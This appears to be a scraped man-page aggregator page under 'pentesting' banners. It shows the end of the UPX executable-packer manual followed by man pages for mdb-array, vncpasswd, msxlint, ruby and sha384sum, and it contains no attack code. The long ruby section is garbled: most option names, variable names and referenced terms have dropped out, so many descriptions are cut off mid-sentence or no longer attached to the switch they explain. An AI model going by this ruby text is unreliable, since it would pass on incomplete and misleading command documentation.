For shell script executables (files beginning with “#!/” or “#! /”) where the shell is known to accept “-c <command>”, UPX decompresses the file into low memory, then maps the shell (and its PT_INTERP), and passes control to the shell with the entire decompressed file as the argument after “-c”. Known shells are sh, ash, bash, bsh, csh, ksh, tcsh, pdksh. Restriction: UPX cannot use this method for shell scripts which use the one optional string argument after the shell name in the script (example: “#! /bin/sh option3 “.) The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- For linux/elf386 and linux/sh386 formats, you will be relying on RAM and swap space to hold all of the decompressed program during the lifetime of the process. If you already use most of your swap space, then you may run out. A system that is “out of memory” can become fragile. Many programs do not react gracefully when malloc() returns 0. With newer Linux kernels, the kernel may decide to kill some processes to regain memory, and you may not like the kernels choice of which to kill. Running /usr/bin/top is one way to check on the usage of swap space.

Extra options available for this executable format:

(none)

NOTES FOR LINUX/386

Please read the general Linux description first.

The generic linux/386 format decompresses to /tmp and needs /proc file system support. It starts the decompressed program via the execve() syscall.

Linux/386 is only selected if the specialized linux/elf386 and linux/sh386 won’t recognize a file.

Packed programs will be byte-identical to the original after uncompression.

How it works:

For files which are not ELF and not a script for a known “-c” shell, UPX uses kernel execve(), which first requires decompressing to a temporary file in the file system. Interestingly - because of the good memory management of the Linux kernel - this often does not introduce a noticeable delay, and in fact there will be no disk access at all if you have enough free memory as the entire process takes places within the file system buffers. A compressed executable consists of the UPX stub and an overlay which contains the original program in a compressed form. The UPX stub is a statically linked ELF executable and does the following at program startup: 1) decompress the overlay to a temporary location in /tmp 2) open the temporary file for reading 3) try to delete the temporary file and start (execve) the uncompressed program in /tmp using /proc/<pid>/fd/X as attained by step 2) 4) if that fails, fork off a subprocess to clean up and start the program in /tmp in the meantime The UPX stub is about 1700 bytes long, partly written in assembler and only uses kernel syscalls. It is not linked against any libc.

Specific drawbacks:

- You need additional free disk space for the uncompressed program in your /tmp directory. This program is deleted immediately after decompression, but you still need it for the full execution time of the program. - You must have /proc file system support as the stub wants to open /proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you cannot compress programs that are used during the boot sequence before /proc is mounted. - Utilities like `top will display numerical values in the process name field. This is because Linux computes the process name from the first argument of the last execve syscall (which is typically something like /proc/<pid>/fd/3). - Because of temporary decompression to disk the decompression speed is not as fast as with the other executable formats. Still, I can see no noticeable delay when starting programs like my ~3 MiB emacs (which is less than 1 MiB when compressed :-).

Extra options available for this executable format:

–force-execve Force the use of the generic linux/386 “execve” format, i.e. do not try the linux/elf386 and linux/sh386 formats.

NOTES FOR PS1/EXE

This is the executable format used by the Sony PlayStation (PSone), a MIPS R3000 based gaming console which is popular since the late ’90s. Support of this format is very similar to the Atari one, because of nostalgic feelings of one of the authors.

Packed programs will be byte-identical to the original after uncompression, until further notice.

Maximum uncompressed size: ~1.89 / ~7.60 MiB.

Notes:

- UPX creates as default a suitable executable for CD-Mastering and console transfer. For a CD-Master main executable you could also try the special option “–boot-only” as described below. It has been reported that upx packed executables are fully compatible with the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in Sony PlayStation (PSone) emulation mode. - Normally the packed files use the same memory areas like the uncompressed versions, so they will not override other memory areas while unpacking. If this isnt possible UPX will abort showing a packed data overlap error. With the “–force” option UPX will relocate the loading address for the packed file, but this isnt a real problem if it is a single or the main executable.

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –8-bit Uses 8 bit size compression [default: 32 bit] –8mib-ram PSone has 8 MiB ram available [default: 2 MiB] –boot-only This format is for main exes and CD-Mastering only ! It may slightly improve the compression ratio, decompression routines are faster than default ones. But it cannot be used for console transfer ! –no-align This option disables CD mode 2 data sector format alignment. May slightly improves the compression ratio, but the compressed executable will not boot from a CD. Use it for console transfer only !

NOTES FOR RTM32/PE and ARM/PE

Same as win32/pe.

NOTES FOR TMT/ADAM

This format is used by the TMT Pascal compiler - see http://www.tmt.com/ .

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR VMLINUZ/386

The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable Linux kernel image (“vmlinuz”, “zImage”, “bzImage”), gzip-decompress it and re-compress it with the UPX compression method.

vmlinuz/386 is completely unrelated to the other Linux executable formats, and it does not share any of their drawbacks.

Notes:

- Be sure that “vmlinuz/386” or “bvmlinuz/386” is displayed during compression - otherwise a wrong executable format may have been used, and the kernel wont boot.

Benefits:

- Better compression (but note that the kernel was already compressed, so the improvement is not as large as with other formats). Still, the bytes saved may be essential for special needs like boot disks. For example, this is what I get for my 2.2.16 kernel: 1589708 vmlinux 641073 bzImage [original] 560755 bzImage.upx [compressed by “upx -9”] - Much faster decompression at kernel boot time (but kernel decompression speed is not really an issue these days).

Drawbacks:

(none)

Extra options available for this executable format:

–all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

NOTES FOR WATCOM/LE

UPX has been successfully tested with the following extenders: DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly supported (for details see the file bugs BUGS).

DLLs and the LX format are not supported.

Extra options available for this executable format:

–le Produce an unbound LE output instead of keeping the current stub.

NOTES FOR WIN32/PE

The PE support in UPX is quite stable now, but probably there are still some incompatibilities with some files.

Because of the way UPX (and other packers for this format) works, you can see increased memory usage of your compressed files because the whole program is loaded into memory at startup. If you start several instances of huge compressed programs you’re wasting memory because the common segments of the program won’t get shared across the instances. On the other hand if you’re compressing only smaller programs, or running only one instance of larger programs, then this penalty is smaller, but it’s still there.

If you’re running executables from network, then compressed programs will load faster, and require less bandwidth during execution.

DLLs are supported. But UPX compressed DLLs can not share common data and code when they got used by multiple applications. So compressing msvcrt.dll is a waste of memory, but compressing the dll plugins of a particular application may be a better idea.

Screensavers are supported, with the restriction that the filename must end with “.scr” (as screensavers are handled slightly different than normal exe files).

UPX compressed PE files have some minor memory overhead (usually in the 10 - 30 KiB range) which can be seen by specifying the “-i” command line switch during compression.

Extra options available for this executable format:

–compress-exports=0 Dont compress the export section. Use this if you plan to run the compressed program under Wine. –compress-exports=1 Compress the export section. [DEFAULT] Compression of the export section can improve the compression ratio quite a bit but may not work with all programs (like winword.exe). UPX never compresses the export section of a DLL regardless of this option. –compress-icons=0 Dont compress any icons. –compress-icons=1 Compress all but the first icon. –compress-icons=2 Compress all icons which are not in the first icon directory. [DEFAULT] –compress-icons=3 Compress all icons. –compress-resources=0 Dont compress any resources at all. –keep-resource=list Dont compress resources specified by the list. The members of the list are separated by commas. A list member has the following format: I<type[/name]>. I<Type> is the type of the resource. Standard types must be specified as decimal numbers, user types can be specified by decimal IDs or strings. I<Name> is the identifier of the resource. It can be a decimal number or a string. For example: –keep-resource=2/MYBITMAP,5,6/12345 UPX wont compress the named bitmap resource “MYBITMAP”, it leaves every dialog (5) resource uncompressed, and it wont touch the string table resource with identifier 12345. –force Force compression even when there is an unexpected value in a header field. Use with care. –strip-relocs=0 Dont strip relocation records. –strip-relocs=1 Strip relocation records. [DEFAULT] This option only works on executables with base address greater or equal to 0x400000. Usually the compressed files becomes smaller, but some files may become larger. Note that the resulting file will not work under Windows 3.x (Win32s). UPX never strips relocations from a DLL regardless of this option. –all-methods Compress the program several times, using all available compression methods. This may improve the compression ratio in some cases, but usually the default method gives the best results anyway. –all-filters Compress the program several times, using all available preprocessing filters. This may improve the compression ratio in some cases, but usually the default filter gives the best results anyway.

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

UPX’s diagnostics are intended to be self-explanatory.

BUGS

Please report all bugs immediately to the authors.

AUTHORS

Markus F.X.J. Oberhumer <[email protected]> http://www.oberhumer.com Laszlo Molnar <[email protected]> John F. Reiser <[email protected]> Jens Medoch <[email protected]>

COPYRIGHT

Copyright (C) 1996-2024 Markus Franz Xaver Johannes Oberhumer

Copyright (C) 1996-2024 Laszlo Molnar

Copyright (C) 2000-2024 John F. Reiser

Copyright (C) 2002-2024 Jens Medoch

UPX is distributed with full source code under the terms of the GNU General Public License v2+; either under the pure GPLv2+ (see the file COPYING), or (at your option) under the GPLv+2 with special exceptions and restrictions granting the free usage for all binaries including commercial programs (see the file /usr/share/doc/upx-ucl/copyright).

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

You should have received a copy of the UPX License Agreements along with this program; see the file /usr/share/doc/upx-ucl/copyright. If not, visit the UPX home page.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2024 - Linux cli command mdb-array

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-array and provides detailed information about the command mdb-array, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-array.

NAME 🖥️ mdb-array 🖥️

array** - Export data in an MDB database table to a C array.

SYNOPSIS

mdb-array database table

DESCRIPTION

mdb-array is a utility program distributed with MDB Tools.

mdb-array prints a C source code file to stdout, containing an array representing the data of the specified table**.**

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

FUTURE DIRECTIONS

mdb-array is deprecated. Soon, it will no longer be distributed.

It is the feeling of developers that it is not used, as C code generation is now usually replaced by more generic approaches, including libmdb calls and odbc.

However, should you find this tool useful, drop us a line at https://github.com/mdbtools/mdbtools/issues/197 and we’ll consider maintaining it.

SEE ALSO

mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-array utility was written by Brian Bruns.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2025 - Linux cli command vncpasswd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vncpasswd and provides detailed information about the command vncpasswd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vncpasswd.

NAME 🖥️ vncpasswd 🖥️

set passwords for VNC server

SYNOPSIS

vncpasswd [ file ]
vncpasswd -t
vncpasswd -f

DESCRIPTION

The vncpasswd utility should be used to create and change passwords for the TightVNC server authentication. Xvnc uses such passwords when started with the -rfbauth command-line option (or when started from the vncserver script).

vncpasswd allows one to enter either one or two passwords. The first password is the primary one, the second password can be used for view-only authentication. Xvnc will restrict mouse and keyboard input from clients who authenticated with the view-only password. The vncpasswd utility asks interactively if it should set the second password.

The password file name defaults to $HOME/.vnc/passwd unless the -t command-line option was used (see the OPTIONS section below). The $HOME/.vnc/ directory will be created if it does not exist.

Each password has to be longer than five characters (unless the -f command-line option was used, see its description below). Only the first eight characters are significant. If the primary password is too short, the program will abort. If the view-only password is too short, then only the primary password will be saved.

Unless a file name was provided in the command-line explicitly, this utility may perform certain sanity checks to prevent writing a password file into some hazardous place.

If at least one password was saved successfully, vncpasswd will exit with status code 0. Otherwise the returned status code will be set to 1.

OPTIONS

-t
Write passwords into /tmp/$USER-vnc/passwd, creating the /tmp/$USER-vnc/ directory if it does not exist, and checking the permissions on that directory (the mode must be 700). This option can help to improve security when your home partition may be shared via network (e.g. when using NFS).

-f
Filter mode. Read plain-text passwords from stdin, write encrypted versions to stdout. One or two passwords (full-control and view-only) can be supplied in the input stream, newline terminates a password. Note that in the filter mode, short or even empty passwords will be silently accepted.

SEE ALSO

vncserver(1), Xvnc(1), vncviewer(1), vncconnect(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2026 - Linux cli command msxlint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msxlint and provides detailed information about the command msxlint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msxlint.

NAME 🖥️ msxlint 🖥️

detects incorrectly formatted notes lines in a MusiXTeX source file.

SYNOPSIS

msxlint [-v | –version | -h | –help]

msxlint [-d | –debug]… [infile[.tex]…]

If no infiles are specified, standard input is used.

USAGE

The format that notes commands are expected to match is determined by \instrumentnumber and \setstaffs commands, or uses of the \TransformNotes macro defined in musixtnt.tex (see musixdoc.pdf), or re-definitions of the notes macro. Output consists of messages about format errors, with listings of the ill-formatted lines.

LIMITATIONS

User-defined macros are not processed or expanded. Notes commands ( otes, \Notes, etc.) can have line breaks, but other commands must fit on one line.

SEE ALSO

fixmsxpart(1)

musixdoc.pdf

AUTHOR

This program and manual page were written by Bob Tennent <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2027 - Linux cli command ruby3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ruby3 and provides detailed information about the command ruby3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ruby3.

Ruby is an interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (like in Perl). It is simple, straight-forward, and extensible.

If you want a language for easy object-oriented programming, or you don’t like the Perl ugliness, or you do like the concept of LISP, but don’t like too many parentheses, Ruby might be your language of choice.

Ruby’s features are as follows:

Ruby is an interpreted language, so you don’t have to recompile programs written in Ruby to execute them.

Variables in Ruby can contain data of any type. You don’t have to worry about variable typing. Consequently, it has a weaker compile time check.

You can use variables in your Ruby programs without any declarations. Variable names denote their scope - global, class, instance, or local.

Ruby has a simple syntax influenced slightly from Eiffel.

Ruby has automatic memory management. Objects no longer referenced from anywhere are automatically collected by the garbage collector built into the interpreter.

Ruby is a purely object-oriented language, and was so since its creation. Even such basic data as integers are seen as objects.

Being an object-oriented language, Ruby naturally has basic features like classes, inheritance, and methods.

Ruby has the ability to define methods for certain objects. For example, you can define a press-button action for certain widget by defining a singleton method for the button. Or, you can make up your own prototype based object system using singleton methods, if you want to.

Ruby intentionally does not have the multiple inheritance as it is a source of confusion. Instead, Ruby has the ability to share implementations across the inheritance tree. This is often called a

Ruby has iterators for loop abstraction.

In Ruby, you can objectify the procedure.

Ruby has a bunch of text processing features like in Perl.

Ruby supports multilingualized programming. Easy to process texts written in many different natural languages and encoded in many different character encodings, without dependence on Unicode.

With built-in bignums, you can for example calculate factorial(400).

Class is also an instance of the Class class. Definition of classes and methods is an expression just as 1+1 is. So your programs can even write and modify programs. Thus you can write your application in your own programming language on top of Ruby.

As in Java(tm).

Ruby can use most

system calls, often used in system programming.

On most

systems, you can load object files into the Ruby interpreter on-the-fly.

In addition to the

and

that are bundled with Ruby, a vast amount of third-party libraries

are available via the package management system called

namely the

command. Visit RubyGems.org

to find the gems you need, and explore GitHub

to see how they are being developed and used.

The Ruby interpreter accepts the following command-line options (switches). They are quite similar to those of

Prints the copyright notice, and quits immediately without running any script.

Prints the version of the Ruby interpreter, and quits immediately without running any script.

(The digit

Specifies the input record separator

as an octal number. If no digit is given, the null character is taken as the separator. Other switches may follow the digits.

turns Ruby into paragraph mode.

makes Ruby read whole file at once as a single string since there is no legal character with that value.

Causes Ruby to switch to the directory.

Specifies the default value(s) for external encodings and internal encoding. Values should be separated with colon (:).

You can omit the one for internal encodings, then the value

Specify the default external or internal character encoding

Specifies input field separator

Used to tell Ruby where to load the library scripts. Directory path will be added to the load-path variable

Specifies KANJI (Japanese) encoding. The default value for script encodings

can be one of

EUC-JP

Windows-31J (CP932)

UTF-8

ASCII-8BIT (BINARY)

Makes Ruby use the

environment variable to search for script, unless its name begins with a slash. This is used to emulate

on machines that don’t support it, in the following manner:

#! /usr/local/bin/ruby # This line makes the next one a comment in Ruby \ exec /usr/local/bin/ruby -S $0 $*

On some systems

does not always contain the full pathname, so you need the

switch to tell Ruby to search for the script if necessary (to handle embedded spaces and such). A better construct than

would be

but it does not work if the script is being interpreted by

Turns on taint checks at the specified level (default 1).

Sets the default value for internal encodings

Turns on verbose mode at the specified level without printing the version message at the beginning. The level can be;

Verbose mode is “silence”. It sets the

to nil.

Verbose mode is “medium”. It sets the

to false.

Verbose mode is “verbose”. It sets the

to true.

2 is the same as

Turns on auto-split mode when used with

or

In auto-split mode, Ruby executes

at beginning of each loop.

Causes Ruby to check the syntax of the script and exit without executing. If there are no syntax errors, Ruby will print

to the standard output.

Turns on debug mode.

will be set to true.

Specifies script from command-line while telling Ruby not to search the rest of the arguments for a script file name.

Prints a summary of the options.

Specifies in-place-edit mode. The extension, if specified, is added to old file name to make a backup copy. For example:

% echo matz > /tmp/junk % cat /tmp/junk matz % ruby -p -i.bak -e ‘$_.upcase!’ /tmp/junk % cat /tmp/junk MATZ % cat /tmp/junk.bak matz

(The lowercase letter

Enables automatic line-ending processing, which means to firstly set

to the value of

and secondly chops every line read using

Causes Ruby to assume the following loop around your script, which makes it iterate over file name arguments somewhat like

or

while gets … end

Acts mostly same as -n switch, but print the value of variable

at the each end of the loop. For example:

% echo matz | ruby -p -e ‘$_.tr! “a-z”, “A-Z”’ MATZ

Causes Ruby to load the library using require. It is useful when using

or

Enables some switch parsing for switches after script name but before any file name arguments (or before a

Any switches found there are removed from

and set the corresponding variable in the script. For example:

#! /usr/local/bin/ruby -s # prints “true” if invoked with `-xyz’ switch. print “true " if $xyz

Enables verbose mode. Ruby will print its version at the beginning and set the variable

to true. Some methods print extra messages if this variable is true. If this switch is given, and no other switches are present, Ruby quits after printing its version.

Enables verbose mode without printing version message at the beginning. It sets the

variable to true.

Tells Ruby that the script is embedded in a message. Leading garbage will be discarded until the first line that starts with

and contains the string,

Any meaningful switches on that line will be applied. The end of the script must be specified with either

or the reserved word

If the directory name is specified, Ruby will switch to that directory before executing script.

DO NOT USE.

Turns on compiler debug mode. Ruby will print a bunch of internal state messages during compilation. Only specify this switch you are going to debug the Ruby interpreter.

Disables (or enables) the specified

Disables (or enables) RubyGems libraries. By default, Ruby will load the latest version of each installed gem. The

constant is true if RubyGems is enabled, false if otherwise.

Ignores (or considers) the

environment variable. By default, Ruby considers the variable.

Disables (or enables) all features.

Dump some information.

Prints the specified target.

can be one of;

version description same as

brief usage message same as

Show long help message same as

check of syntax same as

compiler debug mode, same as

Only specify this switch if you are going to debug the Ruby interpreter.

AST nodes tree

Only specify this switch if you are going to debug the Ruby interpreter.

disassembled instructions

Only specify this switch if you are going to debug the Ruby interpreter.

Enables verbose mode without printing version message at the beginning. It sets the

variable to true. If this switch is given, and no script arguments (script file or

options) are present, Ruby quits immediately.

A colon-separated list of directories that are added to Ruby’s library load path

before the standard load path is searched.

e.g.:

Additional Ruby options.

e.g.

Note that RUBYOPT can contain only

and

A colon-separated list of directories that Ruby searches for Ruby programs when the

flag is specified. This variable precedes the

environment variable.

The path to the system shell command. This environment variable is enabled for only mswin32, mingw32, and OS/2 platforms. If this variable is not defined, Ruby refers to

Ruby refers to the

environment variable on calling Kernel#system.

And Ruby depends on some RubyGems related environment variables unless RubyGems is disabled. See the help of

as below.

% gem help

The Ruby garbage collector (GC) tracks objects in fixed-sized slots, but each object may have auxiliary memory allocations handled by the malloc family of C standard library calls (

and

In this documentatation, the “heap” refers to the Ruby object heap of fixed-sized slots, while “malloc” refers to auxiliary allocations commonly referred to as the “process heap”. Thus there are at least two possible ways to trigger GC:

Reaching the object limit.

Reaching the malloc limit.

In Ruby 2.1, the generational GC was introduced and the limits are divided into young and old generations, providing two additional ways to trigger a GC:

Reaching the old object limit.

Reaching the old malloc limit.

There are currently 4 possible areas where the GC may be tuned by the following 11 environment variables:

Initial allocation slots. Introduced in Ruby 2.1, default: 10000.

Prepare at least this amount of slots after GC. Allocate this number slots if there are not enough slots. Introduced in Ruby 2.1, default: 4096

Increase allocation rate of heap slots by this factor. Introduced in Ruby 2.1, default: 1.8, minimum: 1.0 (no growth)

Allocation rate is limited to this number of slots, preventing excessive allocation due to RUBY_GC_HEAP_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 0 (no limit)

Perform a full GC when the number of old objects is more than R * N, where R is this factor and N is the number of old objects after the last full GC. Introduced in Ruby 2.1.1, default: 2.0

The initial limit of young generation allocation from the malloc-family. GC will start when this limit is reached. Default: 16MB

The maximum limit of young generation allocation from malloc before GC starts. Prevents excessive malloc growth due to RUBY_GC_MALLOC_LIMIT_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 32MB.

Increases the limit of young generation malloc calls, reducing GC frequency but increasing malloc growth until RUBY_GC_MALLOC_LIMIT_MAX is reached. Introduced in Ruby 2.1, default: 1.4, minimum: 1.0 (no growth)

The initial limit of old generation allocation from malloc, a full GC will start when this limit is reached. Introduced in Ruby 2.1, default: 16MB

The maximum limit of old generation allocation from malloc before a full GC starts. Prevents excessive malloc growth due to RUBY_GC_OLDMALLOC_LIMIT_GROWTH_FACTOR. Introduced in Ruby 2.1, default: 128MB

Increases the limit of old generation malloc allocation, reducing full GC frequency but increasing malloc growth until RUBY_GC_OLDMALLOC_LIMIT_MAX is reached. Introduced in Ruby 2.1, default: 1.2, minimum: 1.0 (no growth)

Stack size environment variables are implementation-dependent and subject to change with different versions of Ruby. The VM stack is used for pure-Ruby code and managed by the virtual machine. Machine stack is used by the operating system and its usage is dependent on C extensions as well as C compiler options. Using lower values for these may allow applications to keep more Fibers or Threads running; but increases the chance of SystemStackError exceptions and segmentation faults (SIGSEGV). These environment variables are available since Ruby 2.0.0. All values are specified in bytes.

VM stack size used at thread creation. default: 524288 (32-bit CPU) or 1048575 (64-bit)

Machine stack size used at thread creation. default: 524288 or 1048575

VM stack size used at fiber creation. default: 65536 or 131072

Machine stack size used at fiber creation. default: 262144 or 524288

The official web site.

Comprehensive catalog of Ruby libraries.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Ruby is designed and implemented by

See

for contributors to Ruby.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2028 - Linux cli command sha384sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sha384sum and provides detailed information about the command sha384sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sha384sum.

NAME 🖥️ sha384sum 🖥️

compute and check SHA384 message digest

SYNOPSIS

sha384sum [OPTION]… [FILE]…

DESCRIPTION

Print or check SHA384 (384-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-b, –binary
read in binary mode

-c, –check
read checksums from the FILEs and check them

–tag
create a BSD-style checksum

-t, –text
read in text mode (default)

-z, –zero
end each output line with NUL, not newline, and disable file name escaping

The following five options are useful only when verifying checksums:

–ignore-missing
don’t fail or report status for missing files

–quiet
don’t print OK for each successfully verified file

–status
don’t output anything, status code shows success

–strict
exit non-zero for improperly formatted checksum lines

-w, –warn
warn about improperly formatted checksum lines

–help
display this help and exit

–version
output version information and exit

The sums are computed as described in FIPS-180-2. When checking, the input should be a former output of this program. The default mode is to print a line with: checksum, a space, a character indicating input mode (’*’ for binary, ’ ’ for text or where binary is insignificant), and name for each FILE.

Note: There is no difference between binary mode and text mode on GNU systems.

AUTHOR

Written by Ulrich Drepper, Scott Miller, and David Madore.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

cksum(1)

Full documentation <https://www.gnu.org/software/coreutils/sha384sum>
or available locally via: info ‘(coreutils) sha2 utilities’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

